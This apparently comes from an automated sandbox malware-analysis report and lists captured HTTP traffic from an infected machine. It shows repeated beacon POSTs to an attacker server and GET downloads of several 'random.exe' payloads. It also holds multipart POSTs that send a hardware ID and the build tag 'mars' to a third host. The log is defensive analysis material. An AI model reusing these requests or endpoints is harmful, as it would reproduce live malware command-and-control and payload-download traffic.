Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 18 Nov 2024 19:17:34 GMTIf-None-Match: "673b92ce-1cbc00"
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 32 33 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007234001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 18 Nov 2024 19:17:41 GMTIf-None-Match: "673b92d5-1c0000"
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEHIIDGCFHIEGDGCBFHDHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 44 42 39 35 44 38 45 46 39 43 39 33 37 34 30 31 30 35 32 38 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 42 46 48 44 2d 2d 0d 0a Data Ascii: ------JEHIIDGCFHIEGDGCBFHDContent-Disposition: form-data; name="hwid"3DB95D8EF9C93740105281------JEHIIDGCFHIEGDGCBFHDContent-Disposition: form-data; name="build"mars------JEHIIDGCFHIEGDGCBFHD--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 32 33 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007235001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 18 Nov 2024 19:15:48 GMTIf-None-Match: "673b9264-e1200"
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 32 33 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007236001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 18 Nov 2024 19:16:14 GMTIf-None-Match: "673b927e-2abc00"
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 32 33 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007237001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAFBGHIDBGHJJKFHJDHCHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 46 42 47 48 49 44 42 47 48 4a 4a 4b 46 48 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 44 42 39 35 44 38 45 46 39 43 39 33 37 34 30 31 30 35 32 38 31 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 42 47 48 49 44 42 47 48 4a 4a 4b 46 48 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 42 47 48 49 44 42 47 48 4a 4a 4b 46 48 4a 44 48 43 2d 2d 0d 0a Data Ascii: ------CAFBGHIDBGHJJKFHJDHCContent-Disposition: form-data; name="hwid"3DB95D8EF9C93740105281------CAFBGHIDBGHJJKFHJDHCContent-Disposition: form-data; name="build"mars------CAFBGHIDBGHJJKFHJDHC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
